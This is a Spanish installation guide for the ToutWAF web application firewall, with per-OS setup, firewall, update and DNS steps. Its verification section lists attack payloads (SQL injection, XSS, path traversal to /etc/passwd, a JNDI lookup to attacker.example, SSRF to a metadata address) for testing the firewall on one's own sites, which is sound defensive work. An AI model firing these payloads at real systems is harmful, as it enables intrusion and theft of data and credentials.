Instale ToutWAF paso a paso
Procedimientos para copiar y pegar en AlmaLinux 10, otras distribuciones Linux, Windows, Docker y Kubernetes. Binarios nativos: no hay que instalar ningún runtime. Después ejecuta el asistente, cambia el DNS y verifica.
La versión que se instala
La versión pública es una versión de desarrollo, llamada 0.3.0-dev. Su nombre no cambia: cada publicación sustituye a la anterior y un identificador de compilación distingue dos compilaciones. Todavía no existe ninguna versión estable: solo se publicará cuando cada sistema y cada paquete se hayan probado de extremo a extremo. Por eso, los comandos de esta página instalan desde el canal dev. Una versión de desarrollo puede contener errores: pruébela en un sitio de prueba antes de confiar en ella.
Requisitos
Un servidor de 64 bits (amd64 o arm64) con Linux o Windows, acceso root o de administrador y los puertos 80 y 443 libres. La consola escucha en el puerto 9443, bajo una ruta secreta. El detalle de requisitos y dependencias está justo debajo.
Requisitos y dependencias
Lo que necesita su servidor, lo que añade el instalador y lo que es opcional.
Sistemas compatibles
Linux con systemd 239 o posterior y glibc 2.28 o posterior, en amd64 o arm64: AlmaLinux, Rocky Linux, RHEL y Oracle Linux 8 a 10, CentOS Stream, Fedora, Amazon Linux 2023, Debian 11 a 13, Ubuntu 20.04 a 26.04, openSUSE y Arch (tabla completa más abajo). Windows 10, 11 y Server 2016 a 2025 (aún sin ejecutar en un host Windows real). El instalador comprueba su sistema antes de cambiar nada. Servidores que añade desde la consola: el agente de host existe para Linux (amd64, arm64) y Windows (amd64).
Puertos de red
80 y 443: tráfico web (data plane). 9443: consola (modificable con --cp-port). 9444: API usada por los nodos data plane y los agentes de servidores; el instalador no la abre, permítala solo desde sus propios servidores. 127.0.0.1:9101: punto de salud local. El UDP 443 permanece cerrado (HTTP/3 no está implementado). Los agentes de servidores solo hacen conexiones salientes hacia el puerto 9444.
Qué hace el instalador
Necesita derechos de root o administrador y HTTPS saliente para descargar la versión. Instala curl, tar y libcap si faltan (y policycoreutils-python-utils en sistemas con SELinux), crea un usuario toutwaf sin privilegios y una carpeta de instalación única (/var/toutwaf con bin, conf, data y logs; --home DIR la cambia, y una instalación anterior conserva sus rutas), instala servicios systemd reforzados (servicios de Windows en Windows), permite al data plane usar los puertos 80 y 443 sin root, abre el cortafuegos por defecto cuando firewalld o ufw está activo (80, 443 y el puerto de la consola; --console-from restringe la consola, --no-firewall lo desactiva), etiqueta los archivos para SELinux y comprueba las sumas SHA-256.
Idioma del instalador
Inglés por defecto; el instalador detecta el idioma del sistema. Fuerce uno con --fr --de --es --it --pt --nl --ru --zh --ar o --en (Windows: -Fr, etc., o la variable TOUTWAF_LANG).
Binarios autónomos
El data plane está escrito en Rust, el control plane y el agente en Go, y la consola va integrada en el control plane. No hay que instalar ningún runtime de Python, Node.js o Java ni un servidor de base de datos: los datos se guardan en SQLite. El data plane en Rust necesita glibc 2.28 o superior. Principales componentes de terceros: tokio, hyper y rustls (Rust), Svelte y xterm.js (consola).
Componentes opcionales
ClamAV para los análisis antivirus de los hosts Linux (la consola puede instalarlo por usted); Microsoft Defender en Windows. openssl solo si activa la verificación de firma de las versiones, y cosign solo si quiere que verifique firmas. Docker no es necesario: los manifiestos de Docker y Kubernetes son formas alternativas de desplegar.
ToutPanel (servidor de alojamiento web)
Se instala desde la consola por SSH, o con su propio instalador. Linux: Debian 11 a 13, Ubuntu 20.04 a 24.04, AlmaLinux, Rocky Linux y RHEL 9 y 10, Fedora 40 y posteriores. Windows 10 y 11, Windows Server 2016 a 2025. Necesita root y bash (Linux) o PowerShell 5.1+ como administrador (Windows), Python 3.9 a 3.14 (lo instala su script si la distribución lo ofrece), al menos 1 GB de RAM (2 GB recomendados con MariaDB y PHP), 2 GB de disco libre más sus sitios y HTTPS saliente. Su panel escucha por defecto en el puerto 8888; los puertos 80 y 443 sirven los sitios. Fuente: el README de ToutPanel.
ToutWAF aún no publica valores mínimos de CPU, RAM o disco: dimensione su servidor con una prueba sobre su propio tráfico.
Sistemas compatibles
Los comprueba el instalador antes de cambiar nada. Los estados provienen de los datos del propio instalador.
- tested La prueba de instalación completa en contenedor pasó en esa versión exacta.
- expected Misma familia, glibc y systemd suficientemente recientes, pero no se ejecutó la prueba completa.
- unsupported Rechazado antes de cualquier cambio (se puede anular bajo su responsabilidad con --skip-os-check).
| Distribución | Versiones |
|---|---|
| AlmaLinux | 10tested9tested8tested |
| Rocky Linux | 10tested9tested8tested |
| Red Hat Enterprise Linux | 10tested9tested8tested7unsupported |
| CentOS Stream | 10tested9tested8unsupported7unsupported |
| Oracle Linux | 10tested9tested8tested7unsupported |
| Fedora | 44tested43tested42tested41tested |
| Amazon Linux | 2023tested2unsupported |
| Debian | 13tested12tested11tested10unsupported |
| Ubuntu | 26.04tested25.10tested24.04tested22.04tested20.04tested18.04unsupported |
| Linux Mint / LMDE | todas las versionesexpected |
| Pop!_OS | todas las versionesexpected |
| Zorin OS | todas las versionesexpected |
| elementary OS | todas las versionesexpected |
| Kali Linux | rollingexpected |
| Raspberry Pi OS (32-bit, Raspbian) | todas las versionesunsupported |
| Devuan | todas las versionesunsupported |
| openSUSE Leap | 16.0tested15.6tested |
| openSUSE Tumbleweed | rollingtested |
| openSUSE Slowroll | rollingexpected |
| SUSE Linux Enterprise Server | 16.0expected15.7expected15.6expected |
| SUSE Linux Micro / MicroOS / Aeon | todas las versionesunsupported |
| openSUSE MicroOS / Aeon / Kalpa | todas las versionesunsupported |
| Arch Linux | rollingtested |
| Manjaro | rollingexpected |
| EndeavourOS | rollingexpected |
| Garuda Linux | rollingexpected |
| CachyOS | rollingexpected |
| Artix Linux | todas las versionesunsupported |
| Alpine Linux | todas las versionesunsupported |
| Void Linux | todas las versionesunsupported |
| NixOS | todas las versionesunsupported |
| Windows | Windows 11expectedWindows 10expectedWindows Server 2025expectedWindows Server 2022expectedWindows Server 2019expectedWindows Server 2016expected |
El asistente de configuración: de cero a un sitio protegido
En el primer arranque, el asistente web te lleva de cero a un sitio protegido, en modo detección, sin romper nada.
Dominio y origen
Introduzca el dominio público y la dirección de su servidor.
Certificado automático
Se solicita y renueva por usted un certificado de la autoridad que elija (Let's Encrypt por defecto).
Detección del stack
ToutWAF reconoce WordPress, Laravel, Django y más.
Plantilla de política
Se propone una plantilla a medida. Revísela o conserve la predeterminada.
Modo detección
El tráfico se analiza sin bloquear durante unos días y después se genera un informe.
Pasar a bloqueo
Un clic para aplicar, un clic para revertir.
- ✓Se permitiría el 99,8 % del tráfico
- !3 reglas causan el 95 % de los falsos positivos
- ✓3 excepciones propuestas, listas para revisar
Actualice el sistema e instale los requisitos previos
sudo dnf -y update
sudo dnf -y install curl tar ca-certificates firewalld policycoreutils-python-utilsInstale con el instalador de una línea
El script descarga los binarios nativos para su arquitectura, crea un usuario dedicado sin privilegios e instala los servicios systemd reforzados toutwaf-dp (plano de datos, puertos 80 y 443) y toutwaf-cp (plano de control y consola, puerto 9443), y después muestra sus datos de primer acceso.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash¿Prefieres leer primero el script?
Descárguelo, revíselo y luego ejecútelo. Recomendado para servidores de producción.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.shOpciones del instalador
Una instalación nueva vive en una sola carpeta, /var/toutwaf (bin, conf, data y logs; cámbiela con --home DIR o TOUTWAF_HOME), y las herramientas de línea de comandos se enlazan en /usr/local/bin. Una instalación anterior conserva sus propias rutas (/etc/toutwaf, /var/lib/toutwaf) y nunca se mueve.
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24
# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf
# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel devAbra el cortafuegos
El instalador abre estos puertos por defecto cuando firewalld o ufw está activo: 80 y 443, y el puerto 9443 de la consola (restrínjalo a su red de administración con --console-from). El puerto 9444 de los agentes nunca se abre al público. Estos comandos solo hacen falta con --no-firewall, con otro cortafuegos o para hacerlo a mano.
sudo systemctl enable --now firewalld
sudo firewall-cmd --permanent --add-service=http --add-service=https
sudo firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="203.0.113.0/24" port port="9443" protocol="tcp" accept'
sudo firewall-cmd --reload
sudo firewall-cmd --list-allSELinux
Mantenga SELinux en modo enforcing. Etiquete los directorios de ToutWAF y compruebe que no se registre ninguna denegación AVC.
getenforce
sudo restorecon -Rv /var/toutwaf
sudo ausearch -m avc -ts recentGestione los servicios
Ambos servicios arrancan con el sistema. Use estos comandos para iniciarlos, detenerlos o reiniciarlos.
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cpCompruebe los servicios
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pagerActualizar
Haga una copia de la configuración y de los datos y vuelva a ejecutar el instalador: conserva sus ajustes y revierte por sí solo si la nueva versión no queda sana. Las rutas mostradas son las de una instalación nueva (/var/toutwaf); una instalación anterior conserva /etc/toutwaf y /var/lib/toutwaf. También puede actualizar desde la consola, en la página Actualizaciones.
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthzDesinstalar
El primer bloque elimina los servicios, los binarios y las reglas de cortafuegos añadidas por ToutWAF, y conserva sus datos. El segundo elimina además la configuración, los datos y los registros.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstallsudo bash install.sh --uninstall --purgeActualice el sistema e instale los requisitos previos
sudo dnf -y update
sudo dnf -y install curl tar ca-certificates firewalld policycoreutils-python-utilsInstale con el instalador de una línea
El script descarga los binarios nativos para su arquitectura, crea un usuario dedicado sin privilegios e instala los servicios systemd reforzados toutwaf-dp (plano de datos, puertos 80 y 443) y toutwaf-cp (plano de control y consola, puerto 9443), y después muestra sus datos de primer acceso.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash¿Prefieres leer primero el script?
Descárguelo, revíselo y luego ejecútelo. Recomendado para servidores de producción.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.shOpciones del instalador
Una instalación nueva vive en una sola carpeta, /var/toutwaf (bin, conf, data y logs; cámbiela con --home DIR o TOUTWAF_HOME), y las herramientas de línea de comandos se enlazan en /usr/local/bin. Una instalación anterior conserva sus propias rutas (/etc/toutwaf, /var/lib/toutwaf) y nunca se mueve.
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24
# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf
# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel devGestione los servicios
Ambos servicios arrancan con el sistema. Use estos comandos para iniciarlos, detenerlos o reiniciarlos.
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cpCompruebe los servicios
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pagerActualizar
Haga una copia de la configuración y de los datos y vuelva a ejecutar el instalador: conserva sus ajustes y revierte por sí solo si la nueva versión no queda sana. Las rutas mostradas son las de una instalación nueva (/var/toutwaf); una instalación anterior conserva /etc/toutwaf y /var/lib/toutwaf. También puede actualizar desde la consola, en la página Actualizaciones.
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthzDesinstalar
El primer bloque elimina los servicios, los binarios y las reglas de cortafuegos añadidas por ToutWAF, y conserva sus datos. El segundo elimina además la configuración, los datos y los registros.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstallsudo bash install.sh --uninstall --purgeInstale los requisitos previos (apt)
sudo apt update && sudo apt -y upgrade
sudo apt -y install curl tar ca-certificates ufwInstale con el instalador de una línea
El script descarga los binarios nativos para su arquitectura, crea un usuario dedicado sin privilegios e instala los servicios systemd reforzados toutwaf-dp (plano de datos, puertos 80 y 443) y toutwaf-cp (plano de control y consola, puerto 9443), y después muestra sus datos de primer acceso.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash¿Prefieres leer primero el script?
Descárguelo, revíselo y luego ejecútelo. Recomendado para servidores de producción.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.shOpciones del instalador
Una instalación nueva vive en una sola carpeta, /var/toutwaf (bin, conf, data y logs; cámbiela con --home DIR o TOUTWAF_HOME), y las herramientas de línea de comandos se enlazan en /usr/local/bin. Una instalación anterior conserva sus propias rutas (/etc/toutwaf, /var/lib/toutwaf) y nunca se mueve.
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24
# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf
# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel devAbra el cortafuegos (ufw)
El instalador abre estos puertos por defecto cuando firewalld o ufw está activo: 80 y 443, y el puerto 9443 de la consola (restrínjalo a su red de administración con --console-from). El puerto 9444 de los agentes nunca se abre al público. Estos comandos solo hacen falta con --no-firewall, con otro cortafuegos o para hacerlo a mano.
sudo ufw allow 80,443/tcp
sudo ufw allow from 203.0.113.0/24 to any port 9443 proto tcp
sudo ufw --force enable
sudo ufw statusGestione los servicios
Ambos servicios arrancan con el sistema. Use estos comandos para iniciarlos, detenerlos o reiniciarlos.
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cpCompruebe los servicios
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pagerActualizar
Haga una copia de la configuración y de los datos y vuelva a ejecutar el instalador: conserva sus ajustes y revierte por sí solo si la nueva versión no queda sana. Las rutas mostradas son las de una instalación nueva (/var/toutwaf); una instalación anterior conserva /etc/toutwaf y /var/lib/toutwaf. También puede actualizar desde la consola, en la página Actualizaciones.
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthzDesinstalar
El primer bloque elimina los servicios, los binarios y las reglas de cortafuegos añadidas por ToutWAF, y conserva sus datos. El segundo elimina además la configuración, los datos y los registros.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstallsudo bash install.sh --uninstall --purgeAbra PowerShell como administrador y ejecute el instalador
Instala los binarios nativos, registra el servicio de Windows ToutWAF para el plano de datos y una tarea de inicio para la consola, y abre los puertos del cortafuegos. El instalador aún no se ha ejecutado en un host Windows real.
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass -Force
irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1 | iexAbra el cortafuegos
El instalador abre estos puertos por defecto cuando firewalld o ufw está activo: 80 y 443, y el puerto 9443 de la consola (restrínjalo a su red de administración con --console-from). El puerto 9444 de los agentes nunca se abre al público. Estos comandos solo hacen falta con --no-firewall, con otro cortafuegos o para hacerlo a mano.
New-NetFirewallRule -DisplayName "ToutWAF Web" -Direction Inbound -Protocol TCP -LocalPort 80,443 -Action Allow
New-NetFirewallRule -DisplayName "ToutWAF Console" -Direction Inbound -Protocol TCP -LocalPort 9443 -RemoteAddress 203.0.113.0/24 -Action AllowCompruebe los servicios
Get-Service ToutWAF
toutwafctl doctor
Test-NetConnection 127.0.0.1 -Port 9443Actualizar
Haga una copia de la configuración y de los datos y vuelva a ejecutar el instalador: conserva sus ajustes y revierte por sí solo si la nueva versión no queda sana. Las rutas mostradas son las de una instalación nueva (/var/toutwaf); una instalación anterior conserva /etc/toutwaf y /var/lib/toutwaf. También puede actualizar desde la consola, en la página Actualizaciones.
Copy-Item "$env:ProgramData\ToutWAF" "$env:ProgramData\ToutWAF.bak" -Recurse
& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Update -YesDesinstalar
El primer bloque elimina los servicios, los binarios y las reglas de cortafuegos añadidas por ToutWAF, y conserva sus datos. El segundo elimina además la configuración, los datos y los registros.
& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Uninstall& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Uninstall -PurgeDocker Compose en Mac o Linux
Docker Compose en Linux o en un Mac (Docker Desktop, OrbStack, Colima), con la imagen todo en uno (plano de control y plano de datos). Los archivos vienen con su distribución de ToutWAF (la carpeta deploy, que no está en el repositorio público, que solo contiene binarios e instaladores). La imagen incluye binarios precompilados por arquitectura (bin/amd64 o bin/arm64) y aún no se publica ninguna imagen en un registro. Probada solo en Linux amd64; sin probar en un Mac real, donde la IP de cliente que se ve detrás de Docker Desktop es la de la puerta de enlace de Docker. Las credenciales de un solo uso aparecen una vez en el registro del plano de control.
cd deploy/docker
# bin/amd64/{toutwaf-cp,toutwaf-dp,toutwafctl} (Intel Mac, Linux x86-64)
# bin/arm64/{toutwaf-cp,toutwaf-dp,toutwafctl} (Apple Silicon, Linux ARM)
cp .env.example .env
docker compose up -d --build
docker compose logs toutwaf-cpActualizar (contenedores)
Haga primero una copia de seguridad. El botón de actualización de la consola no puede funcionar en un contenedor: sustituya los binarios de la carpeta bin (o la imagen, cuando se publique una) y reconstruya; los volúmenes, es decir sus datos, se conservan.
docker compose up -d --buildDesinstalar
El primer bloque elimina los servicios, los binarios y las reglas de cortafuegos añadidas por ToutWAF, y conserva sus datos. El segundo elimina además la configuración, los datos y los registros.
docker compose downdocker compose down -vInstale con Helm
Despliega el plano de datos como ingress, con un plano de control en el clúster si lo desea. El chart y los manifiestos (modo sidecar incluido) están en la carpeta deploy de su distribución de ToutWAF, no en el repositorio público, que solo contiene binarios e instaladores. El operador se limita a CRD y un esqueleto.
helm install toutwaf ./deploy/helm/toutwaf --namespace toutwaf --create-namespace -f my-values.yamlCompruebe los pods y abra la consola
kubectl -n toutwaf get pods
kubectl -n toutwaf port-forward svc/toutwaf-cp 9443:9443Actualizar (contenedores)
Haga primero una copia de seguridad. El botón de actualización de la consola no puede funcionar en un contenedor: sustituya los binarios de la carpeta bin (o la imagen, cuando se publique una) y reconstruya; los volúmenes, es decir sus datos, se conservan.
helm upgrade toutwaf ./deploy/helm/toutwaf --namespace toutwaf -f my-values.yamlDesinstalar
El primer bloque elimina los servicios, los binarios y las reglas de cortafuegos añadidas por ToutWAF, y conserva sus datos. El segundo elimina además la configuración, los datos y los registros.
helm uninstall toutwaf --namespace toutwafkubectl delete namespace toutwafTras la instalación: configure y verifique
Primer acceso
Abra el enlace secreto de la consola que se muestra al final de la instalación (la consola solo responde bajo esa ruta) y use el enlace de configuración de un solo uso, o la contraseña de administrador generada una sola vez en el resumen. Active enseguida la autenticación de dos factores y cree un segundo administrador para no quedarse nunca fuera.
Console : https://<server>:9443/<secret-path>/ (printed by the installer)
CLI : toutwafctl --help
Health : http://127.0.0.1:9101/healthz (data plane, local only)Añada su primer sitio
En Sitios, pulse Nuevo sitio e introduzca el dominio público y el upstream (la dirección real de su servidor). Empiece en modo solo detección y pase a bloqueo cuando el informe sea limpio. También puede crear sitios con la API REST y un token de API.
curl -sk -X POST https://127.0.0.1:9443/api/v1/apps \
-H "Authorization: Bearer $TOUTWAF_TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"example.com","hostnames":["example.com"],"origins":[{"url":"http://10.0.0.12:8080"}],"mode":"detect"}'Cambie el DNS
Reduzca el TTL de sus registros el día anterior. Después apunte los registros A / AAAA del dominio al servidor ToutWAF. Cuando el DNS se haya propagado, se emite el certificado. Restrinja el cortafuegos de su origen para que solo el servidor ToutWAF pueda alcanzarlo.
example.com. 300 IN A 203.0.113.10
www.example.com. 300 IN CNAME example.com.sudo ufw allow from 203.0.113.10 to any port 8080 proto tcp
sudo ufw deny 8080/tcpVerifique con ataques de prueba
Cada una de estas peticiones debe devolver 403 y aparecer en Ataques (en modo bloqueo). Ejecútelas solo contra sus propios sitios.
curl -i "https://example.com/?id=1%27%20OR%20%271%27=%271"
curl -i "https://example.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E"
curl -i --path-as-is "https://example.com/download?file=../../../../etc/passwd"
curl -i -H 'User-Agent: ${jndi:ldap://attacker.example/a}' https://example.com/
curl -i -A "sqlmap/1.7.2" https://example.com/
curl -i "https://example.com/?url=http://169.254.169.254/latest/meta-data/"
curl -i https://example.com/Solución de problemas
No se puede acceder a la consola en el puerto 9443
Ejecute el Doctor ToutWAF en el servidor: comprueba los servicios, los puertos y el cortafuegos de la máquina y dice qué hacer. También funciona desde la línea de comandos cuando la propia consola no está accesible; el grupo de seguridad de la nube que haya delante del servidor debe dejar pasar también el puerto 9443.
Se bloquean peticiones legítimas (falsos positivos)
Abra el evento en Ataques, lea la explicación y pulse el botón de falso positivo para crear la excepción más estrecha, o baje el nivel de paranoia del sitio.
502 Bad Gateway
ToutWAF no alcanza su origen. Abra el Doctor ToutWAF, línea «Servidor de origen»: dice si el puerto rechaza la conexión, si el nombre no se resuelve o si el certificado no es de confianza, y qué hacer. Compruebe también el cortafuegos del origen.
Falla la emisión de Let's Encrypt
El Doctor ToutWAF comprueba el DNS (incluido un registro AAAA olvidado en un CDN o proxy) y si el puerto 80 es accesible antes de un pedido. Para un certificado comodín use el desafío DNS-01.
La IP real del cliente es incorrecta en mi aplicación
Lea la cabecera X-Forwarded-For establecida por ToutWAF y confíe en ella solo si proviene de la dirección del servidor ToutWAF.
¿Dónde están los registros?
Use las páginas Registros y Eventos de la consola. Los servicios también escriben en el diario del sistema de la máquina, y el Doctor genera un informe de texto que puede enviar al soporte.